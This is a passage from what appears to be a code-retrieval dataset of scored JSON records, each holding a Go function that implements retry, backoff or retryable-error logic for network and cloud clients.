{\n\tr.RLock()\n\tdefer r.RUnlock()\n\tif !r.enable || r.policy.StopPolicy.MaxRetryTimes == 0 {\n\t\treturn \"\", false\n\t}\n\tif stop, msg := chainStop(ctx, r.policy.StopPolicy); stop {\n\t\treturn msg, false\n\t}\n\tif stop, msg := ddlStop(ctx, r.policy.StopPolicy, r.logger); stop {\n\t\treturn msg, false\n\t}\n\treturn \"\", true\n}", "title": "" }, { "docid": "3a3ba921ad86f30aee47d900233481a9", "score": "0.65595955", "text": "func (d DefaultRetryer) ShouldRetry(r *request.Request) bool {\n\treturn r.Retryable && r.IsErrorRetryable()\n}", "title": "" }, { "docid": "0997422eee3238e0411e7d59bb7942de", "score": "0.6549836", "text": "func (retryer *ClosedConnectionRetryer) ShouldRetry(r *request.Request) bool {\n\tif retryer.MaxRetries() == 0 {\n\t\treturn false\n\t}\n\n\tif r.Retryable != nil {\n\t\treturn *r.Retryable\n\t}\n\n\tif r.Error != nil {\n\t\tif awsErr, ok := r.Error.(awserr.Error); ok {\n\t\t\tif strings.Contains(awsErr.Error(), \"use of closed network connection\") {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn retryer.awsRetryer.ShouldRetry(r)\n}", "title": "" }, { "docid": "26dba745be4416a95f108769becaf80c", "score": "0.6542425", "text": "func IsRetryableError(err error) bool {\n\tif neterr, ok := err.(net.Error); ok {\n\t\tif neterr.Temporary() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif neterr, ok := err.(net.Error); ok && neterr.Timeout() {\n\t\treturn true\n\t}\n\n\tif urlerr, ok := err.(*url.Error); ok {\n\t\tif strings.Contains(urlerr.Error(), \"use of closed network connection\") {\n\t\t\treturn true\n\t\t}\n\n\t\tif neturlerr, ok := urlerr.Err.(net.Error); ok && neturlerr.Timeout() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif strings.Contains(err.Error(), \"request canceled while waiting for connection\") {\n\t\treturn true\n\t}\n\n\ts := err.Error()\n\tfor _, suffix := range retrableErrorSuffixes {\n\t\tif strings.HasSuffix(s, suffix) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "26dba745be4416a95f108769becaf80c", "score": "0.6542425", "text": "func IsRetryableError(err error) bool {\n\tif neterr, ok := err.(net.Error); ok {\n\t\tif neterr.Temporary() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif neterr, ok := err.(net.Error); ok && neterr.Timeout() {\n\t\treturn true\n\t}\n\n\tif urlerr, ok := err.(*url.Error); ok {\n\t\tif strings.Contains(urlerr.Error(), \"use of closed network connection\") {\n\t\t\treturn true\n\t\t}\n\n\t\tif neturlerr, ok := urlerr.Err.(net.Error); ok && neturlerr.Timeout() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif strings.Contains(err.Error(), \"request canceled while waiting for connection\") {\n\t\treturn true\n\t}\n\n\ts := err.Error()\n\tfor _, suffix := range retrableErrorSuffixes {\n\t\tif strings.HasSuffix(s, suffix) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "3ef49186ffaaf7af145246cd18892fa5", "score": "0.651321", "text": "func (c *Cryptocurrency) Retry() *Retry {\n\treturn c.iex.Retry\n}", "title": "" }, { "docid": "93c20d3206df99685f27f90a5d7a890b", "score": "0.6484266", "text": "func (c *retryRepository) shouldRetry(count int, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\tretryAfter, ok := isTemporaryHTTPError(err)\n\tif !ok {\n\t\treturn false\n\t}\n\tif count >= c.retries {\n\t\treturn false\n\t}\n\tc.sleepFn(retryAfter)\n\tklog.V(4).Infof(\"Retrying request to Docker registry after encountering error (%d attempts remaining): %v\", count, err)\n\treturn true\n}", "title": "" }, { "docid": "75487134a4988a92ca4945eb74eea25e", "score": "0.6451198", "text": "func (r *BackoffRetrier) Retry(ctx context.Context, retry int, req *http.Request, resp *http.Response, err error) (time.Duration, bool, error) {\n\twait, goahead := r.backoff.Next(retry)\n\treturn wait, goahead, nil\n}", "title": "" }, { "docid": "c8178060fefc3d4889c377dd6265fc53", "score": "0.644513", "text": "func retryAll(_ error) bool {\n\treturn true\n}", "title": "" }, { "docid": "387f24ac9ed8ec581b7c3ae8c3762a46", "score": "0.63886005", "text": "func ShouldRetry(code int, err error) bool {\n\n\tif err != nil {\n\t\treturn true\n\t}\n\treturn code/100 == 5\n}", "title": "" }, { "docid": "cfa063fc26ba2276cf0efa9308e8917a", "score": "0.63885534", "text": "func (r *MyRetryer) ShouldRetry(err error) bool {\n\tswitch err.(type) {\n\tcase *types.ProvisionedThroughputExceededException, *types.LimitExceededException:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "b79dd64096f58f4df13c40458c937af7", "score": "0.63861805", "text": "func Retry(delayInMilliseconds int, attemptFn func() bool) {\n\tfor {\n\t\tif attemptFn() {\n\t\t\treturn\n\t\t}\n\t\ttime.Sleep(time.Duration(delayInMilliseconds) * time.Millisecond)\n\t}\n}", "title": "" }, { "docid": "57fbd53cdbedc650289eae9fe0fd58d0", "score": "0.63524383", "text": "func Retry() ClientOptFn {\n\treturn func(o *ClientErr) *ClientErr {\n\t\to.retry = true\n\t\treturn o\n\t}\n}", "title": "" }, { "docid": "40fe4be006388ec87d8aa683c82b728c", "score": "0.6330078", "text": "func (gc *GarbageCollector) ShouldRetry() bool {\n\treturn false\n}", "title": "" }, { "docid": "3837ed4a534eab1c71e5673c8c72f259", "score": "0.6324695", "text": "func (r *Retrier) Retry(ctx context.Context, f func() error) error {\n\tb := backoff.WithContext(r.withTries(), ctx)\n\treturn backoff.RetryNotify(func() error { return r.checkErr(f()) }, b, r.notify)\n}", "title": "" }, { "docid": "dd63dae02311d2d8c3b20a8e9bf412f2", "score": "0.63075686", "text": "func Retry(backoff wait.Backoff, fn func() error) error {\n\tvar lastConflictErr error\n\terr := wait.ExponentialBackoff(backoff, func() (bool, error) {\n\t\terr := fn()\n\t\tswitch {\n\t\tcase err == nil:\n\t\t\treturn true, nil\n\t\tcase err == ErrNoGameServerReady:\n\t\t\treturn true, err\n\t\tdefault:\n\t\t\tlastConflictErr = err\n\t\t\treturn false, nil\n\t\t}\n\t})\n\tif err == wait.ErrWaitTimeout {\n\t\terr = lastConflictErr\n\t}\n\treturn err\n}", "title": "" }, { "docid": "276c7e7567ecb09124463874525ce167", "score": "0.6292124", "text": "func (d DefaultRetryer) ShouldRetry(r *request.Request) bool {\n\tif r.HTTPResponse.StatusCode >= 500 {\n\t\treturn true\n\t}\n\treturn r.IsErrorRetryable() || d.shouldThrottle(r)\n}", "title": "" }, { "docid": "29c478c78fac3f6cf533017bde72492b", "score": "0.6275334", "text": "func (fn *fnRetryPolicy) Retry() error {\n\tif fn.now >= fn.max {\n\t\treturn errors.New(\"already expired\")\n\t}\n\n\tfor {\n\t\tfn.now++\n\t\tif nextDelay := fn.delay(fn.now); nextDelay > 0 {\n\t\t\ttime.Sleep(nextDelay)\n\t\t}\n\n\t\tif err := fn.action(); err == nil {\n\t\t\tfn.now = 0\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn errors.New(\"expired retries\")\n}", "title": "" }, { "docid": "85aaa5eabb7e3e8c80fd01048dc4c71d", "score": "0.62292665", "text": "func shouldRetry(response *http.Response, err error) error {\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif response.StatusCode >= 500 || response.StatusCode == 408 {\n\t\treturn errors.Errorf(\"Unexpected HTTP response %v\", response.StatusCode)\n\t}\n\n\t// no error, don't retry\n\treturn nil\n}", "title": "" }, { "docid": "1bfad486ccb230ea3854409b5aa6762c", "score": "0.61846465", "text": "func canRetry(r *resty.Response, err error) bool {\n\treturn r.StatusCode() == http.StatusTooManyRequests ||\n\t\tstrings.Contains(r.String(), grafanaStarting)\n}", "title": "" }, { "docid": "cd6a9ed32bf2e7637aa034712e55d783", "score": "0.6169016", "text": "func (o GetDomainsDomainRedirectOutput) Retry() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v GetDomainsDomainRedirect) bool { return v.Retry }).(pulumi.BoolOutput)\n}", "title": "" }, { "docid": "979a0ad3be2fb576ab15a1b9cc3db8a3", "score": "0.6167828", "text": "func Retry(backoff wait.Backoff, fn wait.ConditionFunc) error {\n\tvar lastErr error\n\terr := wait.ExponentialBackoff(backoff, func() (bool, error) {\n\t\tdone, err := fn()\n\t\tif err != nil {\n\t\t\tlastErr = err\n\t\t}\n\t\treturn done, err\n\t})\n\tif err == wait.ErrWaitTimeout {\n\t\tif lastErr != nil {\n\t\t\terr = lastErr\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "db074a07af4a956896f044c0474bef3f", "score": "0.61591524", "text": "func IsRetryableNetwork(err error) (retryType string, isRetryable bool) {\n\tif IsTemporary(err) {\n\t\treturn \"temporary\", true\n\t}\n\tif IsTimeout(err) {\n\t\treturn \"timeout\", true\n\t}\n\treturn IsTemporaryConnection(err)\n}", "title": "" }, { "docid": "f900cebe9206f6509c6aff856b049df0", "score": "0.61455643", "text": "func shouldRetry(cmdResults string) bool {\n\treturn strings.Contains(cmdResults, \"Deadlock found when trying to get lock; try restarting transaction\")\n}", "title": "" }, { "docid": "b8a4f04ade7afc12a1b4e37b3c36bf8c", "score": "0.61291647", "text": "func isRetryable(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\tserviceErr, ok := common.IsServiceError(err)\n\treturn ok && serviceErr.GetHTTPStatusCode() == http.StatusTooManyRequests\n}", "title": "" }, { "docid": "8e2daf47ab45e4b3327e62d8fa62e63d", "score": "0.6099188", "text": "func Retry(fn Func) error {\n\tvar err error\n\tvar cont bool\n\tattempt := 1\n\tfor {\n\t\tcont, err = fn(attempt)\n\t\tif !cont || err == nil {\n\t\t\tbreak\n\t\t}\n\t\tattempt++\n\t\tif attempt > MaxRetries {\n\t\t\treturn errMaxRetriesReached\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "0dbf77d3b361a50212bb36050dded061", "score": "0.6090118", "text": "func (f *Fs) shouldRetry(resp *http.Response, err error) (bool, error) {\n\treturn fserrors.ShouldRetry(err), err\n}", "title": "" }, { "docid": "0149db530f8ce1beca0f914708c13135", "score": "0.6085016", "text": "func Retry(ctx context.Context, fn func() error, config Config) error {\n\tmaxAttempts := config.MaxAttempts\n\tif maxAttempts == 0 {\n\t\tmaxAttempts = defaultMaxAttempts\n\t}\n\tsleepInterval := config.Backoff\n\tif sleepInterval == nil {\n\t\tsleepInterval = defaultSleepInterval\n\t}\n\tretryable := config.Retryable\n\tif retryable == nil {\n\t\tretryable = defaultRetryable\n\t}\n\tvar err error\n\tcount := 0\n\tfor {\n\t\tcount++\n\t\tif count > maxAttempts {\n\t\t\tbreak\n\t\t}\n\t\terr = fn()\n\t\tif !retryable(err) {\n\t\t\tbreak\n\t\t}\n\t\tinterval := sleepInterval(count, err)\n\t\tsleep(ctx, interval)\n\t\tif ctx.Err() != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "2e961c5bda547d4e637e9ed459172cad", "score": "0.6075751", "text": "func (r *networkErrorShortcutter) RetryDelay(attempt int, err error) (time.Duration, error) {\n\tif attempt >= constants.MaxNetworkRetryCount {\n\t\tvar netOpErr *net.OpError\n\t\tif errors.As(err, &netOpErr) {\n\t\t\t// It's disappointing that we have to do string matching here, rather than being able to using `errors.Is()` or even strings exported by the Go `net` package\n\t\t\tif strings.Contains(netOpErr.Error(), \"no such host\") || strings.Contains(netOpErr.Error(), \"connection refused\") {\n\t\t\t\tlog.Printf(\"[WARN] Disabling retries after next request due to networking issue: %s\", err)\n\t\t\t\treturn 0, &retry.MaxAttemptsError{\n\t\t\t\t\tAttempt: attempt,\n\t\t\t\t\tErr: err,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn r.RetryerV2.RetryDelay(attempt, err)\n}", "title": "" }, { "docid": "ae2ac8054137de7634239bcf8cdb9ecf", "score": "0.6070214", "text": "func (h *backoffRetryHandler) Retry() error {\n\th.stateLock.Lock()\n\tdefer h.stateLock.Unlock()\n\n\tif h.retrying {\n\t\treturn ErrHandlerRetrying\n\t}\n\n\tdelay, err := h.backoff.NextDelay()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\th.retrying = true\n\tch := h.clock.After(delay)\n\tgo func() {\n\t\t<-ch\n\t\tfunc() {\n\t\t\th.stateLock.Lock()\n\t\t\tdefer h.stateLock.Unlock()\n\t\t\th.retryFunc()\n\t\t\th.retrying = false\n\t\t}()\n\t}()\n\treturn nil\n}", "title": "" }, { "docid": "41a0208df28de12f52fcf0dfbeafe276", "score": "0.60665125", "text": "func (NopRetryer) MaxAttempts() int { return 1 }", "title": "" }, { "docid": "7413f4545a30249a851b61a4fc842450", "score": "0.6062557", "text": "func RetryRequest(n int, err error) (bool, error) {\n\tif err == nil {\n\t\treturn true, nil\n\t}\n\tif err == context.Canceled {\n\t\treturn true, err\n\t}\n\tif err == context.DeadlineExceeded {\n\t\treturn true, err\n\t}\n\t// using string comparison here because it's too difficult to tell\n\t// what kind of error the client is actually delivering\n\tif strings.Contains(err.Error(), \"etcdserver: too many requests\") {\n\t\tlogger.WithError(err).WithField(\"retry\", n).Error(\"retrying\")\n\t\treturn false, nil\n\t}\n\treturn true, &store.ErrInternal{Message: err.Error()}\n}", "title": "" }, { "docid": "124b27711912c2fe6502cebe190c3cf5", "score": "0.6048002", "text": "func Retry(doFunc func() error, opts ...RetryOption) error {\n\tvar cfg RetryOption\n\tif len(opts) > 0 {\n\t\tcfg = opts[0]\n\t} else {\n\t\tcfg = RetryOption{\n\t\t\tAttempts: defaultAttempts,\n\t\t\tDelay: defaultDelay,\n\t\t\tTimeout: defaultTimeout,\n\t\t}\n\t}\n\n\t// timeout must be greater than 0\n\tif cfg.Timeout <= 0 {\n\t\treturn fmt.Errorf(\"timeout (%s) must be greater than 0\", cfg.Timeout)\n\t}\n\t// set options automatically for invalid value\n\tif cfg.Delay <= 0 {\n\t\tcfg.Delay = defaultDelay\n\t}\n\tif cfg.Attempts <= 0 {\n\t\tcfg.Attempts = cfg.Timeout.Milliseconds()/cfg.Delay.Milliseconds() + 1\n\t}\n\n\ttimeoutChan := time.After(cfg.Timeout)\n\n\t// call the function\n\tvar attemptCount int64\n\tfor attemptCount = 0; attemptCount < cfg.Attempts; attemptCount++ {\n\t\tif err := doFunc(); err == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\t// check for timeout\n\t\tselect {\n\t\tcase <-timeoutChan:\n\t\t\treturn fmt.Errorf(\"operation timed out after %s\", cfg.Timeout)\n\t\tdefault:\n\t\t\ttime.Sleep(cfg.Delay)\n\t\t}\n\t}\n\n\treturn fmt.Errorf(\"operation exceeds the max retry attempts of %d\", cfg.Attempts)\n}", "title": "" }, { "docid": "83d4e75ed25725eede9b721472fa494f", "score": "0.6039263", "text": "func IsRetryableTChanErr(err error) bool {\n\treturn (err == tchannel.ErrTimeout ||\n\t\terr == tchannel.ErrServerBusy ||\n\t\terr == tchannel.ErrRequestCancelled)\n}", "title": "" }, { "docid": "cfe3c07e98410744603df85a1f856f56", "score": "0.60321283", "text": "func shouldWeRetry(messageTimestamp time.Time, lastTry time.Time) bool {\n\ttimeSinceMessage := time.Since(messageTimestamp)\n\ttimeSinceLastTry := time.Since(lastTry)\n\n\tswitch t := timeSinceMessage; {\n\t// Less than 15 minute old message, retry every minute.\n\tcase t < time.Minute*15 && timeSinceLastTry > time.Minute*1:\n\t\treturn true\n\t// Less than 1 hour old message, retry every five minutes.\n\tcase t < time.Hour && timeSinceLastTry > time.Minute*5:\n\t\treturn true\n\t// Less than 1 day old message, retry every ten minutes.\n\tcase t < time.Hour*24 && timeSinceLastTry > time.Minute*10:\n\t\treturn true\n\t// Less than 1 week old message, retry every fifteen minutes.\n\tcase t < time.Hour*24*7 && timeSinceLastTry > time.Minute*15:\n\t\treturn true\n\t// Less than 1 month old message, retry every thirty minutes.\n\tcase t < time.Hour*24*30 && timeSinceLastTry > time.Minute*30:\n\t\treturn true\n\t// Less than 3 month old message, retry every hour.\n\tcase t < time.Hour*24*30*3 && timeSinceLastTry > time.Hour:\n\t\treturn true\n\t// Less than 6 month old message, retry every three hours.\n\tcase t < time.Hour*24*30*6 && timeSinceLastTry > time.Hour*3:\n\t\treturn true\n\t// Less than 1 year old message, retry every day.\n\tcase t < time.Hour*24*30*12 && timeSinceLastTry > time.Hour*24:\n\t\treturn true\n\t// Older than 1 year old message, retry every week.\n\tcase t >= time.Hour*24*30*12 && timeSinceLastTry > time.Hour*24*7:\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "c2a6dfb2180b287ebf39890a16abfa58", "score": "0.60266477", "text": "func retryPolicy(ctx context.Context, resp *http.Response, _ error) (bool, error) {\n\t// do not retry on context.Canceled or context.DeadlineExceeded\n\tif ctx.Err() != nil {\n\t\treturn false, ctx.Err()\n\t}\n\n\t// 429 Too Many Requests is recoverable. Sometimes the server puts\n\t// a Retry-After response header to indicate when the server is\n\t// available to start processing request from client.\n\tif resp != nil && resp.StatusCode == http.StatusTooManyRequests {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "f0d271e276b0869784a5bd12e3e68307", "score": "0.60206264", "text": "func (o DomainRedirectOutput) Retry() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v DomainRedirect) *bool { return v.Retry }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "52f6e9a8120aaddeaed3c87b172d043e", "score": "0.60036427", "text": "func Retry(interval time.Duration, maxRetries int, f ConditionFunc) error {\n\tif maxRetries <= 0 {\n\t\treturn fmt.Errorf(\"maxRetries (%d) should be > 0\", maxRetries)\n\t}\n\ttick := time.NewTicker(interval)\n\tdefer tick.Stop()\n\n\tfor i := 0; ; i++ {\n\t\tok, err := f()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif ok {\n\t\t\treturn nil\n\t\t}\n\t\tif i == maxRetries {\n\t\t\tbreak\n\t\t}\n\t\t<-tick.C\n\t}\n\treturn &RetryError{maxRetries}\n}", "title": "" }, { "docid": "ac47694bc69b7d14157339ddd71bcaa5", "score": "0.59347135", "text": "func Retry(op func() error, timeout time.Duration) error {\n\treturn retry(nil, op, timeout) // nolint:staticcheck\n}", "title": "" }, { "docid": "eff887d3be7d8292e2192f922018354c", "score": "0.593362", "text": "func NonRetryable(err error) bool {\n\tswitch Recover(err).Kind {\n\tcase NotSupported, Invalid, NotExist, Fatal, Module, DockerExec:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "90573cbf3fbc235ce18a7f909adb4d3f", "score": "0.59260404", "text": "func (c *DatabricksClient) checkHTTPRetry(ctx context.Context, resp *http.Response, err error) (bool, error) {\n\tif ue, ok := err.(*url.Error); ok {\n\t\tapiError := APIError{\n\t\t\tErrorCode: \"IO_ERROR\",\n\t\t\tStatusCode: 523,\n\t\t\tMessage: ue.Error(),\n\t\t}\n\t\treturn apiError.IsRetriable(), apiError\n\t}\n\tif resp == nil {\n\t\t// If response is nil we can't make retry choices.\n\t\t// In this case don't retry and return the original error from httpclient\n\t\treturn false, err\n\t}\n\tif resp.StatusCode == 429 {\n\t\treturn true, APIError{\n\t\t\tErrorCode: \"TOO_MANY_REQUESTS\",\n\t\t\tMessage: \"Current request has to be retried\",\n\t\t\tStatusCode: 429,\n\t\t}\n\t}\n\tif resp.StatusCode >= 400 {\n\t\tapiError := c.parseError(resp)\n\t\treturn apiError.IsRetriable(), apiError\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "b4873c680f1a66dd1e79c38647fa0a89", "score": "0.591866", "text": "func Retry(attempts int, timeout time.Duration, callback func() (interface{}, error)) (interface{}, error) {\n\tvar err error\n\tfor i := 0; i < attempts; i++ {\n\t\tvar res interface{}\n\t\tres, err = callback()\n\t\tif err == nil {\n\t\t\treturn res, nil\n\t\t}\n\t\tlog.Warnf(\"Retry failed with the following error: %v\", err)\n\n\t\t<-time.After(timeout)\n\t\tlog.Infof(\"Retrying... Attempt: %d. Left: %d\", i+1, attempts-1-i)\n\t}\n\n\treturn nil, fmt.Errorf(\"after %d attempts, last error: %s\", attempts, err)\n}", "title": "" }, { "docid": "4dfcce515ef94dfa8c32fc3a4e4a83e3", "score": "0.59082276", "text": "func (NopRetryer) RetryDelay(int, error) (time.Duration, error) {\n\treturn 0, fmt.Errorf(\"not retrying any request errors\")\n}", "title": "" }, { "docid": "b7966c5adb1d5cc1ddb45e98511b28bb", "score": "0.58680665", "text": "func tryReceive(\n\tctx context.Context,\n\treps <-chan *message.Message,\n\tdone chan struct{},\n\treceiver chan<- *message.Message,\n\tresponseCount uint,\n) bool {\n\tfor i := uint(0); i < responseCount; i++ {\n\t\trep, ok := <-reps\n\t\tif !ok {\n\t\t\treturn true\n\t\t}\n\n\t\tvar leave bool\n\t\tswitch getErrorType(ctx, rep) {\n\t\tcase messageTypeErrorRetryable:\n\t\t\treturn false\n\t\tcase messageTypeErrorNonRetryable:\n\t\t\tleave = true\n\t\tdefault:\n\t\t}\n\n\t\tselect {\n\t\tcase <-done:\n\t\tcase receiver <- rep:\n\t\t}\n\t\tif leave {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "6c91db7c4462771d4cd47e8a0e358243", "score": "0.58670044", "text": "func (t *ResilientTransport) tries(req *http.Request) (*http.Response, error) {\n\ttry := 1\n\n\tvar orig []byte\n\tvar err error\n\n\t// if the request has a body, maintain\n\t// the original request body to use for each retry request\n\tif req.Body != nil {\n\t\torig, err = ioutil.ReadAll(req.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer req.Body.Close()\n\t}\n\n\tfor {\n\t\t// the request body is consumed on each retry request\n\t\t// assuming that the request has a body, let's provide\n\t\t// a new reader for each retry\n\t\tif req.Body != nil {\n\t\t\treq.Body = ioutil.NopCloser(bytes.NewBuffer(orig))\n\t\t}\n\n\t\tres, err := t.transport.RoundTrip(req)\n\n\t\t// either we have exceeded the max number of retry attempts,\n\t\t// or the request was successful\n\t\tif try == t.MaxTries || !t.ShouldRetry(req, res, err) {\n\t\t\treturn res, err\n\t\t}\n\n\t\t// invoke on retry callback\n\t\tonRetry := t.OnRetry\n\t\tif onRetry != nil {\n\t\t\tonRetry(req, res, err, try)\n\t\t}\n\n\t\tif res != nil {\n\t\t\t// close the response reader. Note that we only do\n\t\t\t// this if this is a retry request\n\t\t\tres.Body.Close()\n\t\t}\n\t\tif t.Backoff != nil {\n\t\t\ttime.Sleep(t.Backoff(try))\n\t\t}\n\n\t\ttry++\n\t}\n}", "title": "" }, { "docid": "f598844aa72fbd28f0b31d48348382c1", "score": "0.58608985", "text": "func shouldRetry(c *chk.C) bool {\n\tswitch status := getTestStatus(c); status {\n\tcase testFailed, testPanicked, testFixturePanicked:\n\t\tif getTestMustFail(c) {\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t}\n\tif getTestMustFail(c) {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "a4dcf6e1e0af2293ffaa7edb2879c09b", "score": "0.5853298", "text": "func (r CustomRetryer) ShouldRetry(req *request.Request) bool {\n\tif req.HTTPResponse.StatusCode >= 500 {\n\t\treturn false\n\t}\n\tlogger := logging.NewLogger()\n\tif strings.Contains(req.Error.Error(), \"Throttling\") {\n\t\tlogger.Warn(\"Throttling Rate limit exceeded. Retrying the request again\")\n\t}\n\n\treturn r.DefaultRetryer.ShouldRetry(req)\n}", "title": "" }, { "docid": "c9bfc8efdf0398f8f0cdcd83df05c92b", "score": "0.5846461", "text": "func (b *Backoff) Retry(fn backoff.Operation) error {\n\tb.exp.Reset()\n\treturn backoff.Retry(fn, b.exp)\n}", "title": "" }, { "docid": "ce0e7176389edf40e1c4391979e8a706", "score": "0.5836427", "text": "func (m *MockAggregator) Retry() (int, error) {\n\tif m.MethodRetry != nil {\n\t\treturn m.MethodRetry(m)\n\t}\n\treturn 0, nil\n}", "title": "" }, { "docid": "3ef87b583c7a77722d2f9057f5a0ab4e", "score": "0.58179235", "text": "func (r *failureRetryer) ShouldRetry(ctx context.Context, err error, callTimes int, request interface{}, cbKey string) (string, bool) {\n\tr.RLock()\n\tdefer r.RUnlock()\n\tif !r.enable || !r.isRetryErr(err) {\n\t\treturn \"\", false\n\t}\n\tif stop, msg := circuitBreakerStop(ctx, r.policy.StopPolicy, r.cbContainer, request, cbKey); stop {\n\t\treturn msg, false\n\t}\n\tif stop, msg := ddlStop(ctx, r.policy.StopPolicy, r.logger); stop {\n\t\treturn msg, false\n\t}\n\tr.backOff.Wait(callTimes)\n\treturn \"\", true\n}", "title": "" }, { "docid": "87ef33181bcd89766c11e7709ca3987c", "score": "0.5806739", "text": "func ShouldRetry(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\tswitch e := err.(type) {\n\tcase *os.PathError:\n\t\tif strings.HasSuffix(e.Error(), \"interrupted system call\") {\n\t\t\treturn true // EINTR, must simply retry.\n\t\t}\n\t\tpanic(fmt.Errorf(\"got unknown os.PathError, e = '%#v'. e.Error()='%#v'\\n\", e, e.Error()))\n\tdefault:\n\t\tfmt.Printf(\"unknown err was '%#v' / '%s'\\n\", err, err.Error())\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "d207705af4f326ffe926810637ffcc6f", "score": "0.5805452", "text": "func Retry(ctx context.Context, maxAttempts int, retryDelay time.Duration, f func(context.Context) (done bool, err error)) error {\n\tvar count int\n\tfor {\n\t\tdone, err := f(ctx)\n\t\tif done {\n\t\t\treturn err\n\t\t}\n\t\tcount++\n\t\tif maxAttempts > 0 && count >= maxAttempts {\n\t\t\treturn err\n\t\t}\n\t\tselect {\n\t\tcase <-ShouldStop(ctx):\n\t\t\treturn StopReason(ctx)\n\t\tcase <-time.After(retryDelay):\n\t\t}\n\t}\n}", "title": "" }, { "docid": "03ed43641cf9a5ac11dcb28b35b2c322", "score": "0.57939684", "text": "func (f *Fs) shouldRetry(ctx context.Context, resp *http.Response, err error) (bool, error) {\n\tif fserrors.ContextError(ctx, &err) {\n\t\treturn false, err\n\t}\n\t// For 429 errors look at the Retry-After: header and\n\t// set the retry appropriately, starting with a minimum of 1\n\t// second if it isn't set.\n\tif resp != nil && (resp.StatusCode == 429) {\n\t\tvar retryAfter = 1\n\t\tretryAfterString := resp.Header.Get(retryAfterHeader)\n\t\tif retryAfterString != \"\" {\n\t\t\tvar err error\n\t\t\tretryAfter, err = strconv.Atoi(retryAfterString)\n\t\t\tif err != nil {\n\t\t\t\tfs.Errorf(f, \"Malformed %s header %q: %v\", retryAfterHeader, retryAfterString, err)\n\t\t\t}\n\t\t}\n\t\treturn true, pacer.RetryAfterError(err, time.Duration(retryAfter)*time.Second)\n\t}\n\treturn fserrors.ShouldRetry(err) || fserrors.ShouldRetryHTTP(resp, retryErrorCodes), err\n}", "title": "" }, { "docid": "10666382039c02902fc1fe7b834759da", "score": "0.57735026", "text": "func (o DomainRedirectPtrOutput) Retry() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *DomainRedirect) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Retry\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "b56caef5688435372ad38ae77c1debb7", "score": "0.5765956", "text": "func retryFunc(ctx context.Context, resp *http.Response, err error) (bool, error) {\n\t// do not retry on context.Canceled or context.DeadlineExceeded\n\tif ctx.Err() != nil {\n\t\treturn false, ctx.Err()\n\t}\n\tif resp != nil {\n\t\t// Check the path to prevent retries when writing to the log\n\t\t// stream. This stream is temporary and ephemeral, and losing\n\t\t// log lines will not negatively impact the final persisted\n\t\t// log entries.\n\t\tif resp.Request.URL.Path == \"/rpc/v1/write\" {\n\t\t\treturn false, err\n\t\t}\n\t\t// Check the response code. We retry on 500-range responses\n\t\t// to allow the server time to recover, as 500's are typically\n\t\t// not permanent errors and may relate to outages on the\n\t\t// server side.\n\t\tif resp.StatusCode >= 500 {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn true, err\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "8ee8d09bc73233bf4bfacdf47eeba941", "score": "0.57646644", "text": "func Retry(ctx context.Context, f Func) (int, error) {\n\treturn New(ctx).Retry(f)\n}", "title": "" }, { "docid": "c84bb62c3e6cd1207b51094acf4d4b2e", "score": "0.57616156", "text": "func (m *JobMutation) Retry() (r int, exists bool) {\n\tv := m.retry\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "d2f7d03d5c4a9b71722181090bba4059", "score": "0.572138", "text": "func Retry(maxElapsedTime time.Duration, f func() error) error {\n\tbo := backoff.NewExponentialBackOff()\n\tbo.MaxElapsedTime = maxElapsedTime\n\tbo.Reset()\n\treturn backoff.Retry(f, bo)\n\n}", "title": "" }, { "docid": "9581220d3e96e7003709805b7d30ff92", "score": "0.5711273", "text": "func (o *RunLinks) HasRetry() bool {\n\tif o != nil && o.Retry != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "456acc8a77fe52717e4af26ad070566f", "score": "0.5704745", "text": "func TestReqRetry(t *testing.T) {\n\tself := GetSocket(t, NewSocket)\n\tpeer := GetSocket(t, rep.NewSocket)\n\tConnectPair(t, self, peer)\n\n\tMustSucceed(t, self.SetOption(mangos.OptionRetryTime, time.Millisecond*10))\n\tMustSucceed(t, self.SetOption(mangos.OptionRecvDeadline, 